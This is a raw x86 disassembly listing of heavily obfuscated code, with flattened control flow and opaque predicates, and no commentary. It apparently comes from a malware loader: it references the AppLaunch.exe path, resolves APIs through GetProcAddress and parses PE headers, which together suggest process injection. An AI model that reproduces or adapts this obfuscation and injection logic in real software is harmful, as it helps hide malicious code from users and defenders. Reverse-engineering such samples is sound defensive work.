mov dword [ebp - 0xd8], eax
mov eax, 0x74abf307
jmp 0x401a50
cmp eax, 0x66f98b4a
je 0x40472e
cmp eax, 0x68564ac6
jne 0x401a50
mov eax, dword [ebp - 0x40]
mov esi, 0x3ba8f449
mov edi, 0x3177f6ed
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xc6], ax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3177f6ed
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge eax, edi
jmp 0x404e97
cmp eax, 0xccaf0160
je 0x40476d
cmp eax, 0xcd2439ba
jne 0x401a50
mov eax, dword [ebp - 0x60]
mov eax, 0x5cd25688
jmp 0x401a50
cmp eax, 0x21d34830
je 0x404783
cmp eax, 0x22f0de0f
jne 0x401a50
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe4]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, 0x4be21d68
jmp 0x401a50
cmp eax, 0x992bc636
je 0x4047a5
cmp eax, 0x99e1d22c
jne 0x401a50
mov eax, dword [ebp - 0x90]
mov esi, 0x1117cfc
mov ebx, 0x786652eb
mov dword [eax], 1
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x786652eb
jmp 0x404e84
cmp eax, 0x59fd5e2c
je 0x4047ba
cmp eax, 0x5bab41b3
jne 0x401a50
mov eax, dword [ebp - 0x44]
mov eax, 0x1547226f
jmp 0x401a50
cmp eax, 0xfd0f1c23
je 0x404819
cmp eax, 0xfdad3de9
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x59fd5e2c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa2edaea8
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0xb8]
jmp 0x404da7
cmp eax, 0x3c6a31b1
je 0x40485e
cmp eax, 0x3c747e1a
jne 0x401a50
cmp dword [ebp - 0x1b0], 0
mov eax, 0x2cf1ea8
mov ecx, 0xd960399b
cmovns eax, ecx
jmp 0x401a50
cmp eax, 0xb8d7484b
je 0x404868
cmp eax, 0xb92adee2
jne 0x401a50
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, 0x5284fa56
jmp 0x401a50
cmp eax, 0x78a28011
je 0x404872
cmp eax, 0x7b34bd45
jne 0x401a50
mov eax, dword [ebp - 0x5c]
mov eax, 0x78216689
jmp 0x401a50
cmp eax, 0xd5b663bf
je 0x40488e
cmp eax, 0xd70dbe60
jne 0x401a50
mov eax, dword [ebp - 0x1c]
mov eax, 0xb53b49fb
jmp 0x401a50
cmp eax, 0x3247b6c
je 0x40489b
cmp eax, 0x4793076
jne 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0x8a7ed5e2
mov esi, 0x5e282729
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5e282729
jmp 0x404b76
cmp eax, 0x811d9c50
je 0x40495e
cmp eax, 0x8141e305
jne 0x401a50
mov eax, dword [0x4b03c0]
mov esi, 0x4be21d68
mov ebx, 0x22f0de0f
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x22f0de0f
jmp 0x401a2d
cmp eax, 0x41ec56dd
je 0x404973
cmp eax, 0x44356c86
jne 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x34]
mov eax, 0x561ba159
jmp 0x401a50
cmp eax, 0xda287f72
je 0x40497d
cmp eax, 0xdae34248
jne 0x401a50
cmp byte [ebp - 0x67], 0
mov eax, 0xa9dce36c
mov ecx, 0x9f38f38c
cmovne eax, ecx
jmp 0x401a50
cmp eax, 0x27368b9a
je 0x404987
cmp eax, 0x2779628a
jne 0x401a50
cmp byte [ebp - 0x6a], 0
mov eax, 0x44356c86
mov ecx, 0xab6a8aa6
cmovne eax, ecx
jmp 0x401a50
cmp eax, 0x9fb7787a
je 0x404991
cmp eax, 0xa0b5e4fb
jne 0x401a50
push 0x400
push dword [ebp - 0xd8]
push dword [ebp - 0xd4]
vzeroupper
call fcn.0043be10
add esp, 0xc
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0xc44dc1aa
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x5e7fcb66
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x24]
cmovge eax, esi
jmp 0x401a50
cmp eax, 0x6002b2c6
je 0x4049af
cmp eax, 0x611c17ad
jne 0x401a50
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x44]
mov esi, 0x9ab3c1b
inc eax
mov dword [ecx], eax
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xb4007472
jmp 0x404d99
cmp eax, 0xc14635e9
je 0x4049fc
cmp eax, 0xc23fc269
jne 0x401a50
mov eax, dword [ebp - 0xe8]
mov esi, 0xf5d88eb3
mov ebx, 0x8c08d151
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, dword [0x4b03c0]
setne byte [ebp - 0x6c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x8c08d151
jmp 0x401a2d
cmp eax, 0x168a4c60
je 0x404a06
cmp eax, 0x16ea5c67
jne 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0xd1d12ea5
mov esi, 0x7113fddf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7113fddf
sete cl
cmove eax, ebx
cmp dword [0x4b03bc], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, ebx
jmp 0x401a50
cmp eax, 0x8e0efbfa
je 0x404a4c
cmp eax, 0x8f52153c
jne 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0xf8455208
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xdf8d37ff
jmp 0x404848
cmp eax, 0x524554d8
je 0x404a5f
cmp eax, 0x5284fa56
jne 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x1ca34fb5
mov edi, 0x8593f9cb
jmp 0x404e21
cmp eax, 0xf6f93730
je 0x404a6c
cmp eax, 0xf70c75f6
jne 0x401a50
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x1cc]
vmovups ymm0, ymmword [0x4a3488]
vmovups ymm1, ymmword [0x4a3470]
vmovups ymm2, ymmword [0x4a3450]
mov dword [eax], ecx
mov ecx, 0xfdad3de9
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x8c]
setne byte [eax]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x8c]
cmp byte [eax], 0
mov eax, 0x19d341a1
cmove eax, ecx
jmp 0x401a50
cmp eax, 0x378719b0
je 0x404a7f
cmp eax, 0x38365bb8
jne 0x401a50
mov eax, 0xa234f65a
jmp 0x401a50
cmp eax, 0xb0fe6bd1
je 0x404a95
cmp eax, 0xb27829cd
jne 0x401a50
mov eax, 0x55066cd2
jmp 0x401a50
cmp eax, 0x6de78b85
je 0x404ac7
cmp eax, 0x6dfae2dd
jne 0x401a50
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov eax, 0x881ad8fe
jmp 0x401a50
cmp eax, 0xcf64c526
je 0x404aed
cmp eax, 0xd053cc4c
jne 0x401a50
mov eax, 0x89162a06
jmp 0x401a50
cmp eax, 0xe86b5c0
je 0x404b06
cmp eax, 0x11aa70d5
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0x47045f34
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xf20f7cc6
jmp 0x404ece
cmp eax, 0x87cf5ed8
je 0x404b10
cmp eax, 0x881ad8fe
jne 0x401a50
mov eax, dword [ebp - 0x3c]
mov esi, 0x6dfae2dd
mov dword [eax], 0x20
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb057f783
jmp 0x404ece
cmp eax, 0x4b53511c
je 0x404b1a
cmp eax, 0x4be21d68
jne 0x401a50
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe4]
mov edi, 0x1dec5e9f
mov esi, 0x22f0de0f
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4b03c0]
setne byte [ebp - 0x6b]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x22f0de0f
jmp 0x404113
cmp eax, 0xe4dcae3a
je 0x404b54
cmp eax, 0xe4ef578a
jne 0x401a50
mov eax, 0xb4811edd
jmp 0x401a50
cmp eax, 0x2c3ce1d8
je 0x404b95
cmp eax, 0x2db97cfa
jne 0x401a50
mov eax, dword [ebp - 0x160]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
add eax, dword [ebp - 0x15c]
mov dword [ebp - 0x164], eax
mov eax, 0x3a30bd33
jmp 0x401a50
cmp eax, 0xa9036d9b
je 0x404bdd
cmp eax, 0xa9485685
jne 0x401a50
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x168], eax
mov eax, 0xd15d32ab
jmp 0x401a50
cmp eax, 0x63bcfbc6
je 0x404bfb
cmp eax, 0x667cc400
jne 0x401a50
mov eax, 0x63bcfbc6
jmp 0x401a50
cmp eax, 0xca6b9b30
je 0x404c39
cmp eax, 0xcaa9967f
jne 0x401a50
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x1a4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xac]
mov eax, 0x3d97147f
jmp 0x401a50
cmp eax, 0x1ffedb19
je 0x404c72
cmp eax, 0x20a8e56e
jne 0x401a50
mov eax, 0x833e9e0
jmp 0x401a50
cmp eax, 0x986a08c6
je 0x404c7c
cmp eax, 0x98e098bd
jne 0x401a50
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, 0xb0fe6bd1
jmp 0x401a50
cmp eax, 0x574f04d0
je 0x404ca2
cmp eax, 0x58d31f3b
jne 0x401a50
mov eax, dword [ebp - 0x3c]
mov dword [eax], 4
mov eax, 0x9626370c
jmp 0x401a50
cmp eax, 0xfbc8eadf
je 0x404cac
cmp eax, 0xfca21141
jne 0x401a50
mov eax, dword [0x4b03c0]
mov esi, 0x611c17ad
mov ebx, 0xb4007472
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb4007472
sete cl
cmove eax, esi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x401a50
cmp eax, 0x3ba8f449
je 0x404cc0
cmp eax, 0x3bcaf1f8
jne 0x401a50
mov eax, 0x2779628a
jmp 0x401a50
cmp eax, 0xb7f5a5b2
je 0x404cca
cmp eax, 0xb894b753
jne 0x401a50
mov eax, dword [ebp - 0x1ac]
mov ecx, 0x811d9c50
cmp eax, 0xc
mov eax, 0xd72c02a6
cmove eax, ecx
jmp 0x401a50
cmp eax, 0x78216689
je 0x404cd4
cmp eax, 0x786652eb
jne 0x401a50
mov eax, dword [ebp - 0x90]
mov dword [eax], 1
mov eax, 0x99e1d22c
jmp 0x401a50
cmp eax, 0xd935da0d
je 0x404cde
cmp eax, 0xd960399b
jne 0x401a50
mov eax, dword [ebp - 0x1c]
mov ecx, 0x40000000
mov eax, dword [eax]
and eax, ecx
mov dword [ebp - 0x1b8], eax
mov eax, 0xd9b5eedc
jmp 0x401a50
cmp eax, 0x9ab3c1b
je 0x404d0b
cmp eax, 0x9dc3e5e
jne 0x401a50
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x74]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov ecx, 0x15945d1d
mov eax, dword [ebp - 0x64]
cmp dword [eax], 0
mov eax, 0x291300eb
cmove eax, ecx
jmp 0x401a50
cmp eax, 0x852e96e6
je 0x404d15
cmp eax, 0x8593f9cb
jne 0x401a50
mov eax, dword [ebp - 0x18]
mov esi, 0x1ffedb19
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x1ca34fb5
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x5c]
cmovge eax, edx
jmp 0x401a50
cmp eax, 0x4637d217
je 0x404d2a
cmp eax, 0x46f40ef5
jne 0x401a50
mov eax, 0x833e9e0
jmp 0x401a50
cmp eax, 0xdf8d37ff
je 0x404d34
cmp eax, 0xe17d69cd
jne 0x401a50
mov ecx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov ebx, 0x44f95063
lea edx, [ecx + 1]
imul edx, ecx
mov esi, edx
xor esi, 0xfffffffe
test esi, edx
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0xd4d9db08
cmovne ecx, ebx
test esi, edx
mov esi, dword [ebp - 0x3c]
mov edx, ecx
cmove edx, ebx
cmp eax, 0xa
cmovge edx, ecx
mov esi, dword [esi]
mov dword [ebp - 0x1c4], esi
mov esi, dword [ebp - 0x24]
mov esi, dword [esi]
mov ebx, dword [ebp - 0x34]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [esi + ebx*8 + 8]
mov dword [ebp - 0x1c8], eax
mov eax, edx
jmp 0x401a50
cmp eax, 0x2a035ab3
je 0x404d3e
cmp eax, 0x2a789540
jne 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xd70dbe60
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xb53b49fb
jmp 0x404ece
cmp eax, 0xa2edaea8
je 0x404d5b
cmp eax, 0xa3b06545
jne 0x401a50
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x18]
mov esi, 0x3bcaf1f8
mov ebx, 0x6368be5c
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
setl byte [ebp - 0x6a]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6368be5c
jmp 0x401a2d
cmp eax, 0x634ef92e
je 0x404d6b
cmp eax, 0x6368be5c
jne 0x401a50
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, 0xa3b06545
jmp 0x401a50
cmp eax, 0xc44dc1aa
je 0x404db1
cmp eax, 0xc45fb730
jne 0x401a50
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x198], eax
mov eax, 0x9dc3e5e
jmp 0x401a50
cmp eax, 0x1b63b2de
je 0x404dda
cmp eax, 0x1ca34fb5
jne 0x401a50
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0xbc]
sub ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0x8593f9cb
jmp 0x401a50
cmp eax, 0x9281f43a
je 0x404dfe
cmp eax, 0x94a37b83
jne 0x401a50
mov eax, dword [ebp - 0x20]
mov esi, 0xd053cc4c
mov ebx, 0xf1f623b8
mov dword [eax], 0xa
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf1f623b8
jmp 0x401a2d
cmp eax, 0x53e48acd
je 0x404e0b
cmp eax, 0x54c8873e
jne 0x401a50
mov eax, dword [ebp - 0xa8]
mov eax, dword [0x4b03c0]
mov edi, 0x2c3ce1d8
mov esi, 0x9bd2230a
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x9bd2230a
jmp 0x404113
cmp eax, 0xf819e62a
je 0x404e4e
cmp eax, 0xf8455208
jne 0x401a50
mov eax, 0xbf36d3a7
jmp 0x401a50
cmp eax, 0x3a4a065d
je 0x404e58
cmp eax, 0x3a6a668f
jne 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x99e1d22c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x786652eb
jmp 0x404848
cmp eax, 0xb4811edd
je 0x404ea1
cmp eax, 0xb53b49fb
jne 0x401a50
mov eax, dword [ebp - 0x1c]
mov esi, 0x38365bb8
mov ebx, 0xd70dbe60
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, dword [0x4b03c0]
mov dword [ebp - 0x1c0], ecx
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xd70dbe60
jmp 0x401a2d
cmp eax, 0x70fbafb3
je 0x404ee5
cmp eax, 0x7113fddf
jne 0x401a50
mov eax, 0xd1d12ea5
jmp 0x401a50
cmp eax, 0xd15d32ab
je 0x404eef
cmp eax, 0xd1d12ea5
jne 0x401a50
mov eax, dword [0x4b03c0]
mov esi, 0xfbc8eadf
mov ebx, 0x7113fddf
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7113fddf
jmp 0x404e84
cmp eax, 0x14f48421
je 0x404f04
cmp eax, 0x1547226f
jne 0x401a50
mov eax, dword [ebp - 0x44]
mov esi, 0xa9653296
mov ebx, 0x5bab41b3
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x5bab41b3
jmp 0x40469b
cmp eax, 0x8a11096b
je 0x404f49
cmp eax, 0x8a7ed5e2
jne 0x401a50
mov eax, 0x6169669a
jmp 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0xf819e62a
jmp 0x401a50
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x4c]
add eax, 4
mov dword [ebp - 0x13c], eax
mov eax, 0x538fce68
jmp 0x401a50
push dword [ebp - 0xf0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x50]
add eax, eax
mov esi, 0x41ec56dd
mov ecx, dword [ecx]
mov word [ecx], ax
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
jmp 0x404213
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0x94a37b83
jmp 0x401a50
mov eax, dword [ebp - 0x40]
mov eax, 0x68564ac6
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov esi, 0x2c0b7d5f
mov ebx, 0xd90a101e
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x134], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xd90a101e
jmp 0x40469b
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, 0x8141e305
jmp 0x401a50
mov eax, 0x138e7e59
jmp 0x401a50
mov eax, dword [ebp - 0xd0]
mov edi, 0xce84506f
mov esi, 0x2caf0c0
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x100], eax
mov eax, dword [0x4b03c0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2caf0c0
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
jmp 0x404c1c
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xd0], eax
mov eax, 0xb97fa227
jmp 0x401a50
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, 0x27368b9a
jmp 0x401a50
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0x3c9d867c
jmp 0x401a50
mov eax, dword [ebp - 0x44]
mov eax, 0x4e19c29f
jmp 0x401a50
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, 0x6c1cb96e
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, 0x2c3ce1d8
jmp 0x401a50
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0xa9036d9b
jmp 0x401a50
mov eax, 0x4793076
jmp 0x401a50
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0x3aa82d58
jmp 0x401a50
mov eax, 0xa88fb8b3
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov ebx, 0xb4811edd
mov esi, 0xe4ef578a
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xe4ef578a
jmp 0x404b76
mov eax, dword [ebp - 0x128]
push dword [eax]
push dword [ebp - 0x124]
push dword [ebp - 0x11c]
vzeroupper
call fcn.0043be10
add esp, 0xc
mov eax, 0x7d119dc5
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov esi, 0x6ade7637
mov ebx, 0x2caf0c0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2caf0c0
jmp 0x404e84
mov eax, dword [ebp - 0x44]
mov eax, 0x5125bece
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0xd5b663bf
mov edi, 0x8ca09346
jmp 0x404e21
mov eax, dword [ebp - 0xb8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x90]
mov dword [eax], 0
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x8c]
mov eax, 0xf2204154
jmp 0x401a50
mov eax, 0x33fa9a10
jmp 0x401a50
mov eax, dword [ebp - 0xd0]
mov eax, 0x6ade7637
jmp 0x401a50
cmp byte [ebp - 0x69], 0
mov eax, 0x8e0efbfa
mov ecx, 0x9b199910
cmovne eax, ecx
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0xda0ed94b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6002b2c6
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
jmp 0x404e43
cmp dword [ebp - 0x1b8], 0
mov eax, 0x78a28011
mov ecx, 0x2a789540
cmove eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0x66f98b4a
jmp 0x401a50
cmp byte [ebp - 0x6d], 0
mov eax, 0x46f40ef5
mov ecx, 0xcdc981bc
cmovne eax, ecx
jmp 0x401a50
mov eax, dword [0x4b03c0]
mov edi, 0x94a37b83
mov esi, 0xf1f623b8
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xf1f623b8
sete al
cmove ecx, edi
cmp dword [0x4b03bc], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x401a50
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0xbb893a4
jmp 0x401a50
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19c], eax
mov eax, 0x4d1e3acb
jmp 0x401a50
mov eax, dword [ebp - 0xe8]
mov eax, 0xc23fc269
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov ecx, dword [0x4b03bc]
mov esi, 0x1547226f
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5bab41b3
jmp 0x404848
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x98]
mov eax, 0x378719b0
jmp 0x401a50
mov edx, dword [0x4b03c0]
mov eax, dword [0x4b03bc]
mov esi, 0xf19a812b
lea ecx, [edx + 1]
